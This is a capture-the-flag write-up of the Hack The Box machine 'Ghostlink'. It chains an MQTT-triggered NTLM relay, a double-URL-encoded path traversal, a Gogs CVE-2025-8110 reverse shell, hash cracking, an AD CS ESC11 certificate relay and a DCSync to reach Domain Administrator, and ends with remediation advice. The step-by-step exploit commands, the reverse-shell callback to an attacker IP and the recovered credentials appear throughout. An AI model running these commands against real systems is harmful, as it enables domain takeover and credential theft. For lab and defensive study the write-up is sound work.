$ cat writeup.md / 2026.08.27

HTB Ghostlink writeup

Target: 10.129.32.88 · Windows/Active Directory · MQTT NTLM relay · Gogs CVE-2025-8110 · AD CS ESC11

Ghostlink is a layered Hard machine that turns an anonymously writable MQTT healthcheck into authenticated access to an internal secure-share application. A double URL-decoding bug then exposes a user registry hive and a KeePass archive. The recovered Gogs credential enables CVE-2025-8110, the Gogs database yields a reusable Linux password, and an ESC11 AD CS relay ultimately provides a Domain Controller certificate and Domain Administrator access.

Note: Flag values are intentionally redacted. Their locations are /home/nvirelli/user.txt and C:\Users\Administrator\Desktop\root.txt.

Attack path at a glance

  1. Enumerate the domain controller and anonymously subscribe to MQTT.
  2. Discover reverse-proxied Gogs and secure-share virtual hosts.
  3. Temporarily point the MQTT healthcheck at an NTLM relay listener.
  4. Relay svc_canary into secure-share.
  5. Double URL-encode traversal to retrieve NTUSER.DAT and db.zip.
  6. Open the KeePass database with its adjacent key file and recover vroth.
  7. Exploit Gogs 0.13.3 with CVE-2025-8110 for a shell as git.
  8. Crack nvirelli's Gogs PBKDF2 hash and collect the user flag.
  9. Pivot to the internal CA, relay DC01$ through ESC11, and request a DomainController certificate.
  10. DCSync only Administrator, authenticate over WinRM, and collect the root flag.

Enumeration

ping -c 2 -W 2 10.129.32.88
nmap -Pn -n -p- --min-rate 1200 --max-retries 2 -T4 10.129.32.88
nmap -Pn -n -sT -sC -sV -p53,80,88,135,139,389,445,464,593,636,1883,2179,3268,3269,5985,9389 10.129.32.88
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS 10.0
88/tcp   open  kerberos-sec
389/tcp  open  ldap          ghostlink.htb
445/tcp  open  microsoft-ds  signing required
636/tcp  open  ssl/ldap
1883/tcp open  mqtt
5985/tcp open  wsman
9389/tcp open  adws

LDAP and the certificate identified dc01.ghostlink.htb. The target clock was about eight hours ahead. Anonymous LDAP disclosed only RootDSE, SMB share listing was denied, and DNS AXFR failed.

MQTT and hidden virtual hosts

The broker allowed anonymous subscriptions. Listening to # exposed retained healthcheck telemetry:

GhostProtocolZero/systems/node/repository/healthcheck
{"url":"gpz-op26-toolkits.ghostlink.htb/healthcheck","ip":"172.16.20.20"}

GhostProtocolZero/systems/node/secureshare/healthcheck
{"url":"gpz-op26-secure.ghostlink.htb/healthcheck","ip":"172.16.20.10"}

Both names were reachable through IIS on the authorized target IP:

curl --resolve gpz-op26-toolkits.ghostlink.htb:80:10.129.32.88 \
  http://gpz-op26-toolkits.ghostlink.htb/

curl --resolve gpz-op26-secure.ghostlink.htb:80:10.129.32.88 \
  http://gpz-op26-secure.ghostlink.htb/

The first site was Gogs. The second required Negotiate/NTLM and identified itself as GPZ-OP26-SECURE.

Gogs fingerprint

The public Gogs users included vroth, nvirelli, zkovacs, and ohexley. Their public repositories did not contain a live secret. The cache-busting hash on gogs.js was an upstream Git commit:

/js/gogs.js?v=5084b4a9b77a506f5e287e82e945e1c6882b827a

That commit is the release commit for Gogs 0.13.3, which is affected by CVE-2025-8110. The RCE is authenticated, so another access primitive was still needed.

NTLM relay through an MQTT healthcheck

The secure-share telemetry included a healthcheck URL. I saved the exact retained JSON, changed only the URL to http://10.10.14.78:8888/, and started an HTTP relay targeting the secure-share virtual host.

python3 scoped_ntlmrelayx.py \
  -t http://gpz-op26-secure.ghostlink.htb \
  --http-port 8888 --no-smb-server --no-wcf-server --no-raw-server \
  -socks -socks-address 127.0.0.1 -socks-port 1080 \
  -ip 10.10.14.78

A small MQTT publisher wrote the modified retained record. Eight seconds later, the original record was restored.

Authenticating against http://gpz-op26-secure.ghostlink.htb
as GHOSTLINK/SVC_CANARY SUCCEED
SOCKS: Adding GHOSTLINK/SVC_CANARY@gpz-op26-secure.ghostlink.htb(80)

The Impacket HTTP SOCKS plugin selects a relayed identity with Basic credentials; the password value is ignored:

curl --socks5-hostname 127.0.0.1:1080 \
  -u 'GHOSTLINK/SVC_CANARY:x' \
  http://gpz-op26-secure.ghostlink.htb/
<title>Ghost Protocol Zero | Secure Operations Channel</title>

Double URL-encoded file traversal

The download endpoint validated a path before a later decode step. Double encoding caused %252e to become a dot and %255c to become a Windows backslash.

p = r'..\..\..\..\..\..\..\users\svc_canary\ntuser.dat'
once = ''.join(f'%{b:02x}' for b in p.encode())
payload = '/api/download/' + once.replace('%', '%25')

Requesting that path through the relay returned a 262,144-byte Windows registry hive:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 262144

svc_canary-ntuser.dat: MS Windows registry file, NT/2000 or above

UTF-16LE strings showed RecentDocs and db.zip. The recent-document path was:

C:\Users\svc_canary\Documents\Operations\Management\db.zip

The same double encoding returned a valid archive containing:

165246  db.kdbx
   240  .key.keyx

KeePass credential and password policy

The KDBX opened with the adjacent key file and no master password. Every repository credential except one had been migrated:

GROUP: ['Toolkits Repository']
TITLE: Vesper Roth
USERNAME: vroth
PASSWORD: mOo03jpsqx8JQYMBwvFP

A PDF attachment in the KeePass Recycle Bin revealed a 20-character minimum password length, complexity enforcement, and a three-attempt account lockout threshold. This made blind AD spraying unnecessary and later made Gogs hash cracking much faster.

Gogs RCE: CVE-2025-8110

I inspected the public PoC before execution. It created an unnecessary hard-coded user, generated an API token and repository, pushed a symlink to .git/config, and overwrote it with a configuration containing core.sshCommand. I used a reduced local adaptation that accepted the recovered vroth credential, created one private repository, printed its exact token/name for cleanup, and pinned the hostname to the authorized IP.

nc -lvnp 10001

python3 gogs_cve_2025_8110.py \
  --username vroth --password 'mOo03jpsqx8JQYMBwvFP' \
  --callback-host 10.10.14.78 --callback-port 10001
[+] Authenticated to Gogs
[+] PutContents timed out as expected while sshCommand callback runs

uid=1000(git) gid=1000(git) groups=1000(git)

Gogs database to the user flag

From the git shell, I exported only /opt/gogs/data/gogs.db. The nvirelli record used PBKDF2-HMAC-SHA256 with 10,000 iterations:

salt:   DW3YdxPy25
digest: 8d9b3a01c3a0260b39db011aed1dbf239b8b1b28af6141f28aa01d3b3ab8ffd4408bc5b9065ff957e716375a7bec1755d3e8

After conversion to hashcat mode 10900, the leaked 20-character minimum reduced rockyou to roughly 46,600 candidates:

awk 'length($0) >= 20' rockyou.txt > rockyou-min20.txt
hashcat -m 10900 -a 0 nvirelli.hash rockyou-min20.txt
Status:   Cracked
Password: u47YUclrDiwWxBheaSzI

The password was reused by the Linux account:

su - nvirelli

uid=1001(nvirelli) gid=1001(nvirelli) groups=1001(nvirelli)

The user flag was at /home/nvirelli/user.txt.

Pivot and AD CS ESC11

A temporary reverse chisel SOCKS tunnel exposed the internal network at 127.0.0.1:1081. Certipy found one CA:

proxychains4 certipy-ad find \
  -u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' \
  -dc-ip 172.16.20.1 -ns 172.16.20.1 -dns-tcp \
  -vulnerable -stdout
CA Name:            ghostlink-GPZ-OP26-SECURE-CA
Enroll:             Authenticated Users
Enforce Encryption: Disabled
[!] ESC8:           Web enrollment enabled over HTTP
[!] ESC11:          Encryption not enforced for ICPR requests

The installed coercion module was reviewed and restricted to DFSCoerce. Certipy relayed the coerced DC machine authentication to the CA's RPC interface:

proxychains4 certipy-ad relay \
  -target rpc://172.16.20.10 \
  -ca 'ghostlink-GPZ-OP26-SECURE-CA' \
  -template DomainController \
  -interface 10.10.14.78 -out DC01.pfx

nxc smb 10.129.32.88 -d ghostlink.htb \
  -u nvirelli -p 'u47YUclrDiwWxBheaSzI' \
  -M coerce_plus \
  -o LISTENER=10.10.14.78 METHOD=DFSCoerce
Authenticating against rpc://172.16.20.10 as GHOSTLINK/DC01$ SUCCEED
Requesting certificate with template 'DomainController'
Request ID is 5
Successfully requested certificate

Domain Administrator

The eight-hour target clock skew was handled for one Certipy process with libfaketime, without changing the workstation clock:

env LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1 \
  FAKETIME='+8h' \
  certipy-ad auth -pfx DC01.pfx \
  -dc-ip 10.129.32.88 -domain ghostlink.htb -username 'dc01$'
Got TGT
Got hash for dc01$: a920aa4955f92675e562826f12700c13

I restricted DCSync to Administrator rather than dumping the domain:

impacket-secretsdump 'ghostlink.htb/dc01$@10.129.32.88' \
  -dc-ip 10.129.32.88 \
  -hashes ':a920aa4955f92675e562826f12700c13' \
  -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::

WinRM accepted the hash. whoami /groups showed local Administrators, Domain Admins, Enterprise Admins, and High Mandatory Level. The root flag was at C:\Users\Administrator\Desktop\root.txt.

Credentials

ContextPrincipalSecret/materialImpact
KeePass/GogsvrothmOo03jpsqx8JQYMBwvFPAuthenticated Gogs RCE
Gogs/Linuxnvirelliu47YUclrDiwWxBheaSzILocal user and user flag
ESC11 PKINITDC01$a920aa4955f92675e562826f12700c13DC machine authentication
DCSyncAdministrator8190e067f478002ddd63eb209b016696Domain Administrator

The machine-account hash can rotate; the value above reflects this solved instance.

Remediation

  1. Require authenticated, encrypted MQTT; disable anonymous access and enforce topic-level publish ACLs.
  2. Use server-owned healthcheck destinations, strict allowlists, outbound egress controls, and no automatic Windows credentials.
  3. Reduce or remove NTLM; enable Extended Protection and alert on service-account authentication to unusual destinations.
  4. Decode paths once, canonicalize after decoding, reject traversal/rooted paths, and map opaque IDs to files beneath a fixed storage root.
  5. Never store a KeePass database beside its only key factor. Empty vault recycle-bin data and rotate exposed credentials.
  6. Upgrade Gogs to a supported release containing the symlink-aware PutContents fix. Monitor symlinks to .git/config and unexpected core.sshCommand.
  7. Use unique application and operating-system passwords and tightly restrict gogs.db.
  8. Fix ESC11 by enforcing encrypted RPC certificate requests, restricting enrollment, and monitoring machine certificate issuance.
  9. Block outbound SMB from domain controllers and disable unnecessary coercible RPC services.
  10. Restrict WinRM to management networks, revoke the issued test certificate, and rotate privileged hashes after compromise.